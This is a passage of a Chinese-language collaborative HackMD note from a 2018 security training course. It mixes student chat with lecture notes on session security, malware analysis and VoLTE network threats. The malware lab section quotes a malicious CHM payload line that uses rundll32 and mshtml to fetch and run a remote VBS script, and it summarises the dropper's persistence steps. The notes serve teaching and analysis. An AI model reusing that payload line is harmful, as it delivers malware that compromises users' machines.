ㄖㄨㄞ-~~ >我念 咪賴~ >案例課 >shodan我都念 "朽店n" >我怎麼覺得聽來聽去都是最近聽過的東西@@ >我是古阿莫-我要來講最近發生的所有資安事件 > 就時間輪迴 >等等!!講師會不會看共筆啊!!? >不會吧 中區都失控了 >XD >我覺得以後都不要用IOT的東西好了 >不用就不會被駭X) >純樸生活w >斷網最快 >不然就是自己架VPN自己的裝置都是走自己的內網 >然後就SSRF(?) >中區金城武跟大家說午安 >午安 >台南億載金城武報到 >goodafternoon!:) >可以請問第642行那邊那個欄位到底怎麼來的嘛?@@ > [name=君の名は] > 不是啦!我是說上一堂課的練習@@ > CF-Connecting-IP 這串到底怎麼來的@@ > [Cloudflare](https://support.cloudflare.com/hc/en-us/articles/200170986-How-does-Cloudflare-handle-HTTP-Request-headers-)填的 ``` CF-Connecting-IP To provide the client (visitor) IP address for every request to the origin, Cloudflare adds the CF-Connecting-IP header. "CF-Connecting-IP: A.B.C.D" ``` >所以是cloudfare的...指令?欄位? >Cloudflare轉送到Host那邊的時候填入的header吧 >原來如此 謝大大指點<(_ _)> >其實如果沒有白目的露出realip用cloudflare還蠻夠用的 >嗯嗯嗯?要結束了?! >:cat: >:dog: >:apple: >:computer: >:video_game: >:icecream: >:hankey: >:clock330: 下課 :question: >今天好早! >沒小遊戲嗎QQQQ >什麼小遊戲? >可以打的東西之類的 ==:warning:沒密碼的WiFi很髒== >可是大家都很喜歡連ˊ~ˋ >~~其實有密碼的 wifi 也很(ry~~ >這場等一下可以玩 PaGamO ㄅ >{%youtube ZOnTXxA-Oow%} I have free wi-fi --- - 省錢廣告:叫google home唸出來 * 長的像的簡報 * part2 ppt {%pdf https://s.itho.me/cybersec/2018/pdf/0313_103-3.pdf %} >...講師聲音好好聽喔 0A0! >頭毛也好美喔! >484有被外派到大陸過R >覺得帥欸XD >字正腔圓 >還捲舌兒 >有磁性的低音砲 >///< 只不過髮型讓我想到韓德爾(?XD >認真,覺得帥! >噗XD 欸很像女生的髮型欸XD 有在保養的樣子ww >那個捲是要燙的 >這個咪ㄖㄨㄞ 我可以 > 我記得這簡報有在其他地方講過 > 大大們的簡報都是同一份這邊講那邊講X) > 我是指AIS3以外的 > 除非巡迴不然應該不會重複那麼多吧 > 長官指定吧 > 好奇是哪間銀行w > 花*吧 > 阿不就還好只有三碼w > 應該是NIST, 800-63-3 上面寫B [Digital Identity Guidelines(SP 800-63-3)](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63-3.pdf) >那這個呢?0.0 >[Digital Identity Guidelines](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf) > 標題不一樣 title注意 > - 安全的Session/Cookie - 設定有效期限 - 認證或權限變更之後要重新建立session - 設定cookie屬性做保護 - [SSL lab](https://www.ssllabs.com/) ### 8/4 (六) 09:30 - 12:30 - 講師 : Anthony Lai VXRL - Target Attack Analysis and Incident Response https://drive.google.com/drive/folders/1Lyo3I0DkvOxfHhKno2mzt0cHNcDwEfWg - material: https://goo.gl/XFubKq - [apktool](https://ibotpeaches.github.io/Apktool/install/) - hydra暴力破解 (kali 內建工具) - 鑑識工具 [Volatility](https://github.com/volatilityfoundation/volatility) - Bonus Lab - 解壓.chm (7zip) - 看到start.htm有一行: ```<param name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();try{GetObject("script:http://www.kvtester.com/g6dfha.vbs");}catch(e){}'>``` - 觀察script內容,發現他會下載win32.exe, win32.dll - 開IDA和x32dbg去看win32.exe - 他會註冊三個鍵值 - 他會把它自己複製到`%appdata%\microsoft.exe` - [sans malware analysis cheat sheet](https://digital-forensics.sans.org/blog/2017/09/13/malware-analysis-cheat-sheets) - remnux - cuckoo Sandbox - 分析惡意檔案時記得在自有環境分析就好,不要甚麼檔案都丟到線上分析工具,因為怕會順便把私人資訊也上傳到分析網站(ex:個人帳戶...) - [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) 工具 - [regexr](https://regexr.com) 可以練習正規表達式 > qq髒髒 > QQ真的髒,安裝過一次後發現連帶其他有的沒的立馬解除安裝並掃毒 >香港組長?州長?署長? > 我要習慣香港口音QQ > 剛剛他說啥?!好想作筆記可是聽不懂QQ > >剛剛他講什麼鑑識工具? >謝大大<(_ _)> > 他是不是la發成ta? > 打字速度慢 筆記gg > 講英文好像還比較好一點QQ > 有時講英文比較ok > 我反而聽不懂他的普通話 > 香港人講話都差不多這樣,我聽過很多香港人的口音 > 他剛試要說push但講成presh? > 我有些字詞都聽不懂有點難受QQ > Cheatsheet聽成去去 >我聽成 氣氣 (黑人問號 >誰可以用中文重新組織一下剛剛那段... > 電話號碼嗎XD? > 這段我懂! > 什麼東西兩次? > em... > ![](https://i.imgur.com/6huxmIu.jpg =100x) > 好像是混淆兩次的樣子 > > 我好希望有遙控器來倒轉好幾次喔 金凱瑞救我QQ > 金凱瑞是誰? > 金carry > 所以是誰求拜XD <(_ _)> > 獨孤求拜 > 樓上來教教我們 > 實不相瞞我也聽不懂 > 說錯 是亞當·山德勒 >我只知道獲得了新工具,不知道怎麼應用就是了 >我本來想錄音,可是那口音我覺得回去也聽不懂ˊAˋ >前幾天課程有些有錄 > 我...只好來meow meow叫了 meow~ >  以下這段開放叫聲(? --- :cow:moo~ (翻譯: 剛剛發生什麼事?) :man:What?! Whate? Whate? :cat:~meow :metal: --- > 作個問券好了,這堂課大家聽得懂幾%? (直接填) > - [ ] 1. 20% > - [x] 2. 0.5% > - [x] 3.:bird: > - [x] 4.:cat: > - [ ] 5.:dog: > - [x] 6.![](https://tinyurl.com/ydhf6sdf =100x) > - [x] 7.:apple: > - [ ] 8.:hatched_chick: > - [x] 9.:tiger: > - [x] 10.:penguin: > - [ ] 11.:koala: > - [ ] 12.:baby_chick: >![](https://i.imgur.com/wAT9VAS.jpg) >![](https://i.imgur.com/6YSGZdv.jpg =200x) >![](https://i.imgur.com/JzxL5Ze.jpg =200x) >![](https://i.imgur.com/im1za0P.jpg =200x) >![](https://i.imgur.com/Cuv9teL.png) > 我很需要七天輪迴來消化消化 或是 za warudo! ![](https://i.imgur.com/Oxsv3D7.jpg =200x) > 資安路上有你有我,大家來作伙一同前進,交個冰友~ > 需要同儕帶給我動力 > 我們可先練打字,一起加速 >打字不夠快?邊玩遊戲邊聊天就可以練成了 ### 8/4 (六) 14:00 - 17:00 - 講師 : 李奇育 交通大學資工系 - 4G 行動網路安全之潛在風險與檢測 #### <font color = red>VM密碼:nctu</font> [VM](https://goo.gl/8DRz82) > 感恩唷 > > 剩最後一堂囉 > 感覺final ctf 我會打很慘耶QQ > 隨緣隨緣 我佛系解題 不連網 不google 自然有flagˊ_>ˋ > u 點好奇 VoIP 跟 VoLTE 的差別 - 行動網路特性 - 中心化 相對一般網路distribute - 需要sim卡才能access - VoLTE - 直接提供語音service - 標準 [3GPP](http://www.3gpp.org/) - 讓你帳單爆掉的四大方法 - 1.偽造你的IP傳送數據 - 2.利用SKYPE通話時瞬間掛斷後截持通話的封包來夾帶垃圾訊息 - 3.利用惡意程式 - 4.用多媒體簡訊寄送釣魚連結:email:---->:fishing_pole_and_fish: - [IPSec](https://zh.wikipedia.org/zh-tw/IPsec) - VoLTE可能安全威脅 - 通話時間計費機制 - 資料封包可以隨便送? - 免費上網 - 高服務品質的承載 (QoS高) - 資料封包可能取得高優先級,卻不需額外費用 - 可以擠掉其他要用網路的人 - Dos ![](https://i.imgur.com/VcewPXs.png) - VoLTE 的封包直接從 Modem 產生 - 用 port 分 bearer - 利用 QoS 從RTT時間找 port - 用 app 塞垃圾給 voice bearer 達到消音之類的(? https://hackmd.io/n8S73GHzTl6A3OAcCAyBFg# > 上面是中區的共筆暫存 - 實作一 - 送 UDP TTL = 1 讓 router 回 - 那個回很快的 port 就是 VoLTE 用的port - CS Gateway未來會被PS Gateway取代 - SIP 標準 - [RFC3428](https://www.ietf.org/rfc/rfc3428.txt) > 邊緣人救星 > 沒了 上patch了 :checkered_flag: ### Welcome!!:cat:![](https://i.imgur.com/IciFPXF.png =100x)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully